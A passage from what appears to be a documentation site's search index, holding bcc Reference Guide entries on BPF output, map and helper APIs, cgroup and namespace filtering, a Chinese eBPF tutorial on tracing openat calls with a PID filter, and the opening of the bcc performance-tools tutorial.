BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. Arguments: nonblocking: optional, defaults to False. When set to True, the program will not block waiting for input. Examples: while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue [...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. trace_fields()","id":"280","title":"2. trace_fields()"},"281":{"body":"Normal output from a BPF program is either: per-event: using PERF_EVENT_OUTPUT, open_perf_buffer(), and perf_buffer_poll(). map summary: using items(), or print_log2_hist(), covered in the Maps section.","breadcrumbs":"bcc Reference Guide » Output APIs","id":"281","title":"Output APIs"},"282":{"body":"Syntax: BPF.perf_buffer_poll(timeout=T) This polls from all open perf ring buffers, calling the callback function that was provided when calling open_perf_buffer for each entry. The timeout parameter is optional and measured in milliseconds. In its absence, polling continues indefinitely. Example: # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit(); Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. perf_buffer_poll()","id":"282","title":"1. perf_buffer_poll()"},"283":{"body":"Syntax: BPF.ring_buffer_poll(timeout=T) This polls from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. The timeout parameter is optional and measured in milliseconds. In its absence, polling continues until there is no more data or the callback returns a negative value. Example: # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll(30) except KeyboardInterrupt: exit(); Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 2. ring_buffer_poll()","id":"283","title":"2. ring_buffer_poll()"},"284":{"body":"Syntax: BPF.ring_buffer_consume() This consumes from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. Unlike ring_buffer_poll, this method does not poll for data before attempting to consume. This reduces latency at the expense of higher CPU consumption. If you are unsure which to use, use ring_buffer_poll. Example: # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_consume() except KeyboardInterrupt: exit(); Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 3. ring_buffer_consume()","id":"284","title":"3. ring_buffer_consume()"},"285":{"body":"Maps are BPF data stores, and are used in bcc to implement a table, and then higher level objects on top of tables, including hashes and histograms.","breadcrumbs":"bcc Reference Guide » Map APIs","id":"285","title":"Map APIs"},"286":{"body":"Syntax: BPF.get_table(name) Returns a table object. This is no longer used, as tables can now be read as items from BPF. Eg: BPF[name]. Examples: counts = b.get_table(\"counts\") counts = b[\"counts\"] These are equivalent.","breadcrumbs":"bcc Reference Guide » 1. get_table()","id":"286","title":"1. get_table()"},"287":{"body":"Syntax: table.open_perf_buffers(callback, page_cnt=N, lost_cb=None) This operates on a table as defined in BPF as BPF_PERF_OUTPUT(), and associates the callback Python function callback to be called when data is available in the perf ring buffer. This is part of the recommended mechanism for transferring per-event data from kernel to user space. The size of the perf ring buffer can be specified via the page_cnt parameter, which must be a power of two number of pages and defaults to 8. If the callback is not processing data fast enough, some submitted data may be lost. lost_cb will be called to log / monitor the lost count. If lost_cb is the default None value, it will just print a line of message to stderr. Example: # process event\ndef print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() Note that the data structure transferred will need to be declared in C in the BPF program. For example: // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events);\n[...] In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): def print_event(cpu, data, size): event = b[\"events\"].event(data)\n[...] or define it manually: # define output data structure in Python\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. open_perf_buffer()","id":"287","title":"2. open_perf_buffer()"},"288":{"body":"Syntax: table.items() Returns an array of the keys in a table. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. Example: # print output\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) This example also uses the sorted() method to sort by value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. items()","id":"288","title":"3. items()"},"289":{"body":"Syntax: table.values() Returns an array of the values in a table.","breadcrumbs":"bcc Reference Guide » 4. values()","id":"289","title":"4. values()"},"29":{"body":"eBPF（Extended Berkeley Packet Filter）是一种内核执行环境，它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大，是因为它能够在内核运行时捕获和修改数据包或者系统调用，从而实现对操作系统行为的监控和调整。 本文是 eBPF 入门开发实践教程的第四篇，主要介绍如何捕获进程打开文件的系统调用集合，并使用全局变量在 eBPF 中过滤进程 pid。 在 Linux 系统中，进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口，它们允许用户态程序请求内核执行特定操作。在本教程中，我们关注的是 sys_openat 系统调用，它是用于打开文件的。 当进程打开一个文件时，它会向内核发出 sys_openat 系统调用，并传递相关参数（例如文件路径、打开模式等）。内核会处理这个请求，并返回一个文件描述符（file descriptor），这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用，我们可以了解进程在什么时候以及如何打开文件。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid","id":"29","title":"eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid"},"290":{"body":"Syntax: table.clear() Clears the table: deletes all entries. Example: # print map summary every second:\nwhile True: time.sleep(1) print(\"%-8s\\n\" % time.strftime(\"%H:%M:%S\"), end=\"\") dist.print_log2_hist(sym + \" return:\") dist.clear() Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. clear()","id":"290","title":"5. clear()"},"291":{"body":"Syntax: table.items_lookup_and_delete_batch() Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. It also clears the table: deletes all entries. You should rather use table.items_lookup_and_delete_batch() than table.items() followed by table.clear(). It requires kernel v5.6. Example: # print call rate per second:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter)) sleep(1)","breadcrumbs":"bcc Reference Guide » 6. items_lookup_and_delete_batch()","id":"291","title":"6. items_lookup_and_delete_batch()"},"292":{"body":"Syntax: table.items_lookup_batch() Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. You should rather use table.items_lookup_batch() than table.items(). It requires kernel v5.6. Example: # print current value of map:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter))","breadcrumbs":"bcc Reference Guide » 7. items_lookup_batch()","id":"292","title":"7. items_lookup_batch()"},"293":{"body":"Syntax: table.items_delete_batch(keys) It clears all entries of a BPF_HASH map when keys is None. It is more efficient than table.clear() since it generates only one system call. You can delete a subset of a map by giving an array of keys as parameter. Those keys and their associated values will be deleted. It requires kernel v5.6. Arguments: keys is optional and by default is None.","breadcrumbs":"bcc Reference Guide » 8. items_delete_batch()","id":"293","title":"8. items_delete_batch()"},"294":{"body":"Syntax: table.items_update_batch(keys, values) Update all the provided keys with new values. The two arguments must be the same length and within the map limits (between 1 and the maximum entries). It requires kernel v5.6. Arguments: keys is the list of keys to be updated values is the list containing the new values.","breadcrumbs":"bcc Reference Guide » 9. items_update_batch()","id":"294","title":"9. items_update_batch()"},"295":{"body":"Syntax: table.print_log2_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) Prints a table as a log2 histogram in ASCII. The table must be stored as log2, which can be done using the BPF function bpf_log2l(). Arguments: val_type: optional, column header. section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. section_print_fn: if section_print_fn is not None, it will be passed the bucket value. Example: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_log2_hist(\"kbytes\") Output: kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| This output shows a multi-modal distribution, with the largest mode of 128->255 kbytes and a count of 800. This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the count column is passed to user space. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 10. print_log2_hist()","id":"295","title":"10. print_log2_hist()"},"296":{"body":"Syntax: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) Prints a table as a linear histogram in ASCII. This is intended to visualize small integer ranges, eg, 0 to 100. Arguments: val_type: optional, column header. section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. section_print_fn: if section_print_fn is not None, it will be passed the bucket value. Example: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(req->__data_len / 1024); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_linear_hist(\"kbytes\") Output: kbytes : count distribution 0 : 3 |****** | 1 : 0 | | 2 : 0 | | 3 : 0 | | 4 : 19 |****************************************| 5 : 0 | | 6 : 0 | | 7 : 0 | | 8 : 4 |******** | 9 : 0 | | 10 : 0 | | 11 : 0 | | 12 : 0 | | 13 : 0 | | 14 : 0 | | 15 : 0 | | 16 : 2 |**** |\n[...] This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the values in the count column are passed to user space. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 11. print_linear_hist()","id":"296","title":"11. print_linear_hist()"},"297":{"body":"Syntax: table.open_ring_buffer(callback, ctx=None) This operates on a table as defined in BPF as BPF_RINGBUF_OUTPUT(), and associates the callback Python function callback to be called when data is available in the ringbuf ring buffer. This is part of the new (Linux 5.8+) recommended mechanism for transferring per-event data from kernel to user space. Unlike perf buffers, ringbuf sizes are specified within the BPF program, as part of the BPF_RINGBUF_OUTPUT macro. If the callback is not processing data fast enough, some submitted data may be lost. In this case, the events should be polled more frequently and/or the size of the ring buffer should be increased. Example: # process event\ndef print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll() except KeyboardInterrupt: exit() Note that the data structure transferred will need to be declared in C in the BPF program. For example: // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_RINGBUF_OUTPUT(events, 8);\n[...] In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): def print_event(ctx, data, size): event = b[\"events\"].event(data)\n[...] or define it manually: # define output data structure in Python\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 12. open_ring_buffer()","id":"297","title":"12. open_ring_buffer()"},"298":{"body":"Syntax: table.push(leaf, flags=0) Push an element onto a Stack or Queue table. Raises an exception if the operation does not succeed. Passing QueueStack.BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 13. push()","id":"298","title":"13. push()"},"299":{"body":"Syntax: leaf = table.pop() Pop an element from a Stack or Queue table. Unlike peek(), pop() removes the element from the table before returning it. Raises a KeyError exception if the operation does not succeed. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 14. pop()","id":"299","title":"14. pop()"},"3":{"body":"本文不会对 eBPF 的原理做更详细的介绍，不过这里有一个学习规划和参考资料，也许会有一些价值：","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 2. 关于如何学习 eBPF 相关的开发的一些建议","id":"3","title":"2. 关于如何学习 eBPF 相关的开发的一些建议"},"30":{"body":"首先，我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用，具体实现如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h> /// @description \"Process ID to trace\"\nconst volatile int pid_target = 0; SEC(\"tracepoint/syscalls/sys_enter_openat\")\nint tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)\n{ u64 id = bpf_get_current_pid_tgid(); u32 pid = id; if (pid_target && pid_target != pid) return false; // Use bpf_printk to print the process information bpf_printk(\"Process ID: %d enter sys openat\\n\", pid); return 0;\n} /// \"Trace open family syscalls.\"\nchar LICENSE[] SEC(\"license\") = \"GPL\"; 这段 eBPF 程序实现了： 引入头文件：<vmlinux.h> 包含了内核数据结构的定义，<bpf/bpf_helpers.h> 包含了 eBPF 程序所需的辅助函数。 定义全局变量 pid_target，用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 使用 SEC 宏定义一个 eBPF 程序，关联到 tracepoint \"tracepoint/syscalls/sys_enter_openat\"。这个 tracepoint 会在进程发起 sys_openat 系统调用时触发。 实现 eBPF 程序 tracepoint__syscalls__sys_enter_openat，它接收一个类型为 struct trace_event_raw_sys_enter 的参数 ctx。这个结构体包含了关于系统调用的信息。 使用 bpf_get_current_pid_tgid() 函数获取当前进程的 PID 和 TGID（线程组 ID）。由于我们只关心 PID，所以将其赋值给 u32 类型的变量 pid。 检查 pid_target 变量是否与当前进程的 pid 相等。如果 pid_target 不为 0 且与当前进程的 pid 不相等，则返回 false，不对该进程的 sys_openat 调用进行捕获。 使用 bpf_printk() 函数打印捕获到的进程 ID 和 sys_openat 调用的相关信息。这些信息将在用户空间通过 BPF 工具查看。 将程序许可证设置为 \"GPL\"，这是运行 eBPF 程序的必要条件。 这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程（或所有进程）的 sys_openat 系统调用，并在用户空间输出相关信息。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc opensnoop.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat 此时，我们已经能够捕获进程打开文件的系统调用了。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 在 eBPF 中捕获进程打开文件的系统调用集合","id":"30","title":"在 eBPF 中捕获进程打开文件的系统调用集合"},"300":{"body":"Syntax: leaf = table.peek() Peek the element at the head of a Stack or Queue table. Unlike pop(), peek() does not remove the element from the table. Raises an exception if the operation does not succeed. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 15. peek()","id":"300","title":"15. peek()"},"301":{"body":"Some helper methods provided by bcc. Note that since we're in Python, we can import any Python library and their methods, including, for example, the libraries: argparse, collections, ctypes, datetime, re, socket, struct, subprocess, sys, and time.","breadcrumbs":"bcc Reference Guide » Helpers","id":"301","title":"Helpers"},"302":{"body":"Syntax: BPF.ksym(addr) Translate a kernel memory address into a kernel function name, which is returned. Example: print(\"kernel function: \" + b.ksym(addr)) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. ksym()","id":"302","title":"1. ksym()"},"303":{"body":"Syntax: BPF.ksymname(name) Translate a kernel name into an address. This is the reverse of ksym. Returns -1 when the function name is unknown. Example: print(\"kernel address: %x\" % b.ksymname(\"vfs_read\")) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. ksymname()","id":"303","title":"2. ksymname()"},"304":{"body":"Syntax: BPF.sym(addr, pid, show_module=False, show_offset=False) Translate a memory address into a function name for a pid, which is returned. A pid of less than zero will access the kernel symbol cache. The show_module and show_offset parameters control whether the module in which the symbol lies should be displayed, and whether the instruction offset from the beginning of the symbol should be displayed. These extra parameters default to False. Example: print(\"function: \" + b.sym(addr, pid)) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. sym()","id":"304","title":"3. sym()"},"305":{"body":"Syntax: BPF.num_open_kprobes() Returns the number of open k[ret]probes. Can be useful for scenarios where event_re is used while attaching and detaching probes. Excludes perf_events readers. Example: b.attach_kprobe(event_re=pattern, fn_name=\"trace_count\")\nmatched = b.num_open_kprobes()\nif matched == 0: print(\"0 functions matched by \\\"%s\\\". Exiting.\" % args.pattern) exit() Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. num_open_kprobes()","id":"305","title":"4. num_open_kprobes()"},"306":{"body":"Syntax: BPF.get_syscall_fnname(name : str) Return the corresponding kernel function name of the syscall. This helper function will try different prefixes and use the right one to concatenate with the syscall name. Note that the return value may vary in different versions of linux kernel and sometimes it will causing trouble. (see #2590 ) Example: print(\"The function name of %s in kernel is %s\" % (\"clone\", b.get_syscall_fnname(\"clone\")))\n# sys_clone or __x64_sys_clone or ... Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. get_syscall_fnname()","id":"306","title":"5. get_syscall_fnname()"},"307":{"body":"See the \"Understanding eBPF verifier messages\" section in the kernel source under Documentation/networking/filter.txt.","breadcrumbs":"bcc Reference Guide » BPF Errors","id":"307","title":"BPF Errors"},"308":{"body":"This can be due to trying to read memory directly, instead of operating on memory on the BPF stack. All kernel memory reads must be passed via bpf_probe_read_kernel() to copy kernel memory into the BPF stack, which can be automatic by the bcc rewriter in some cases of simple dereferencing. bpf_probe_read_kernel() does all the required checks. Example: bpf: Permission denied\n0: (bf) r6 = r1\n1: (79) r7 = *(u64 *)(r6 +80)\n2: (85) call 14\n3: (bf) r8 = r0\n[...]\n23: (69) r1 = *(u16 *)(r7 +16)\nR7 invalid mem access 'inv' Traceback (most recent call last): File \"./tcpaccept\", line 179, in <module> b = BPF(text=bpf_text) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 172, in __init__ self._trace_autoload() File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 612, in _trace_autoload fn = self.load_func(func_name, BPF.KPROBE) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 212, in load_func raise Exception(\"Failed to load BPF program %s\" % func_name)\nException: Failed to load BPF program kretprobe__inet_csk_accept","breadcrumbs":"bcc Reference Guide » 1. Invalid mem access","id":"308","title":"1. Invalid mem access"},"309":{"body":"This error happens when a GPL-only helper is called from a non-GPL BPF program. To fix this error, do not use GPL-only helpers from a proprietary BPF program, or relicense the BPF program under a GPL-compatible license. Check which BPF helpers are GPL-only, and what licenses are considered GPL-compatible. Example calling bpf_get_stackid(), a GPL-only BPF helper, from a proprietary program (#define BPF_LICENSE Proprietary): bpf: Failed to load program: Invalid argument\n[...]\n8: (85) call bpf_get_stackid#27\ncannot call GPL only function from proprietary program","breadcrumbs":"bcc Reference Guide » 2. Cannot call GPL only function from proprietary program","id":"309","title":"2. Cannot call GPL only function from proprietary program"},"31":{"body":"全局变量在 eBPF 程序中充当一种数据共享机制，它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 在我们的例子中，全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值，以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。 使用全局变量的原理是，全局变量在 eBPF 程序的数据段（data section）中定义并存储。当 eBPF 程序加载到内核并执行时，这些全局变量会保持在内核中，可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性，如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info，获取 eBPF 对象的信息，包括全局变量的位置和值。 可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息： $ ecli package.json -h\nUsage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] Trace open family syscalls. Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --pid_target Process ID to trace Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. 可以通过 --pid_target 参数来指定要捕获的进程的 pid，例如： $ sudo ./ecli run package.json --pid_target 618\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 使用全局变量在 eBPF 中过滤进程 pid","id":"31","title":"使用全局变量在 eBPF 中过滤进程 pid"},"310":{"body":"","breadcrumbs":"bcc Reference Guide » Environment Variables","id":"310","title":"Environment Variables"},"311":{"body":"eBPF program compilation needs kernel sources or kernel headers with headers compiled. In case your kernel sources are at a non-standard location where BCC cannot find then, its possible to provide BCC the absolute path of the location by setting BCC_KERNEL_SOURCE to it.","breadcrumbs":"bcc Reference Guide » 1. Kernel source directory","id":"311","title":"1. Kernel source directory"},"312":{"body":"By default, BCC stores the LINUX_VERSION_CODE in the generated eBPF object which is then passed along to the kernel when the eBPF program is loaded. Sometimes this is quite inconvenient especially when the kernel is slightly updated such as an LTS kernel release. Its extremely unlikely the slight mismatch would cause any issues with the loaded eBPF program. By setting BCC_LINUX_VERSION_CODE to the version of the kernel that's running, the check for verifying the kernel version can be bypassed. This is needed for programs that use kprobes. This needs to be encoded in the format: (VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL. For example, if the running kernel is 4.9.10, then can set export BCC_LINUX_VERSION_CODE=264458 to override the kernel version check successfully.","breadcrumbs":"bcc Reference Guide » 2. Kernel version overriding","id":"312","title":"2. Kernel version overriding"},"313":{"body":"Some tools have special filtering capabitilies, the main use case is to trace processes running in containers, but those mechanisms are generic and could be used in other cases as well.","breadcrumbs":"Special Filtering » Special Filtering","id":"313","title":"Special Filtering"},"314":{"body":"Some tools have an option to filter by cgroup by referencing a pinned BPF hash map managed externally. Examples of commands: # ./opensnoop --cgroupmap /sys/fs/bpf/test01\n# ./execsnoop --cgroupmap /sys/fs/bpf/test01\n# ./tcpconnect --cgroupmap /sys/fs/bpf/test01\n# ./tcpaccept --cgroupmap /sys/fs/bpf/test01\n# ./tcptracer --cgroupmap /sys/fs/bpf/test01 The commands above will only display results from processes that belong to one of the cgroups whose id, returned by bpf_get_current_cgroup_id(), is in the pinned BPF hash map. The BPF hash map can be created by: # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \\ name cgroupset flags 0 To get a shell in a new cgroup, you can use: # systemd-run --pty --unit test bash The shell will be running in the cgroup /sys/fs/cgroup/unified/system.slice/test.service. The cgroup id can be discovered using the name_to_handle_at() system call. In the examples/cgroupid, you will find an example of program to get the cgroup id. # cd examples/cgroupid\n# make\n# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service or, using Docker: # cd examples/cgroupid\n# docker build -t cgroupid .\n# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \\ cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service This prints the cgroup id as a hexadecimal string in the host endianness such as 77 16 00 00 01 00 00 00. # FILE=/sys/fs/bpf/test01\n# CGROUPID_HEX=\"77 16 00 00 01 00 00 00\"\n# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any Now that the shell started by systemd-run has its cgroup id in the BPF hash map, bcc tools will display results from this shell. Cgroups can be added and removed from the BPF hash map without restarting the bcc tool. This feature is useful for integrating bcc tools in external projects.","breadcrumbs":"Special Filtering » Filtering by cgroups","id":"314","title":"Filtering by cgroups"},"315":{"body":"The BPF hash map can be created by: # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \\ name mnt_ns_set flags 0 Execute the execsnoop tool filtering only the mount namespaces in /sys/fs/bpf/mnt_ns_set: # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set Start a terminal in a new mount namespace: # unshare -m bash Update the hash map with the mount namespace ID of the terminal above: FILE=/sys/fs/bpf/mnt_ns_set\nif [ $(printf '\\1' | od -dAn) -eq 1 ]; then HOST_ENDIAN_CMD=tac\nelse HOST_ENDIAN_CMD=cat\nfi NS_ID_HEX=\"$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\\{2\\}/&\\n/g' | $HOST_ENDIAN_CMD)\"\nbpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any Execute a command in this terminal: # ping kinvolk.io You'll see how on the execsnoop terminal you started above the call is logged: # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set\n[sudo] password for mvb:\nPCOMM PID PPID RET ARGS\nping 8096 7970 0 /bin/ping kinvolk.io","breadcrumbs":"Special Filtering » Filtering by mount by namespace","id":"315","title":"Filtering by mount by namespace"},"316":{"body":"This tutorial covers how to use bcc tools to quickly solve performance, troubleshooting, and networking issues. If you want to develop new bcc tools, see tutorial_bcc_python_developer.md for that tutorial. It is assumed for this tutorial that bcc is already installed, and you can run tools like execsnoop successfully. See INSTALL.md . This uses enhancements added to the Linux 4.x series.","breadcrumbs":"bcc Tutorial » bcc Tutorial","id":"316","title":"bcc Tutorial"},"317":{"body":"Some quick wins.","breadcrumbs":"bcc Tutorial » Observability","id":"317","title":"Observability"},"318":{"body":"Before using bcc, you should start with the Linux basics. One reference is the Linux Performance Analysis in 60,000 Milliseconds post, which covers these commands: uptime dmesg | tail vmstat 1 mpstat -P ALL 1 pidstat 1 iostat -xz 1 free -m sar -n DEV 1 sar -n TCP,ETCP 1 top","breadcrumbs":"bcc Tutorial » 0. Before bcc","id":"318","title":"0. Before bcc"},"319":{"body":"Here is a generic checklist for performance investigations with bcc, first as a list, then in detail: execsnoop opensnoop ext4slower (or btrfs*, xfs*, zfs*) biolatency biosnoop cachestat tcpconnect tcpaccept tcpretrans runqlat profile These tools may be installed on your system under /usr/share/bcc/tools, or you can run them from the bcc github repo under /tools where they have a .py extension. Browse the 50+ tools available for more analysis options. 1.1 execsnoop # ./execsnoop\nPCOMM PID RET ARGS\nsupervise 9660 0 ./run\nsupervise 9661 0 ./run\nmkdir 9662 0 /bin/mkdir -p ./main\nrun 9663 0 ./run\n[...] execsnoop prints one line of output for each new process. Check for short-lived processes. These can consume CPU resources, but not show up in most monitoring tools that periodically take snapshots of which processes are running. It works by tracing exec(), not the fork(), so it will catch many types of new processes but not all (eg, it won't see an application launching working processes, that doesn't exec() anything else). More examples . 1.2. opensnoop # ./opensnoop\nPID COMM FD ERR PATH\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1603 snmpd 9 0 /proc/net/dev\n1603 snmpd 11 0 /proc/net/if_inet6\n1603 snmpd -1 2 /sys/class/net/eth0/device/vendor\n1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding\n[...] opensnoop prints one line of output for each open() syscall, including details. Files that are opened can tell you a lot about how applications work: identifying their data files, config files, and log files. Sometimes applications can misbehave, and perform poorly, when they are constantly attempting to read files that do not exist. opensnoop gives you a quick look. More examples . 1.3. ext4slower (or btrfs*, xfs*, zfs*) # ./ext4slower\nTracing ext4 operations slower than 10 ms\nTIME COMM PID T BYTES OFF_KB LAT(ms) FILENAME\n06:35:01 cron 16464 R 1249 0 16.05 common-auth\n06:35:01 cron 16463 R 1249 0 16.04 common-auth\n06:35:01 cron 16465 R 1249 0 16.03 common-auth\n06:35:01 cron 16465 R 4096 0 10.62 login.defs\n06:35:01 cron 16464 R 4096 0 10.61 login.defs ext4slower traces the ext4 file system and times common operations, and then only prints those 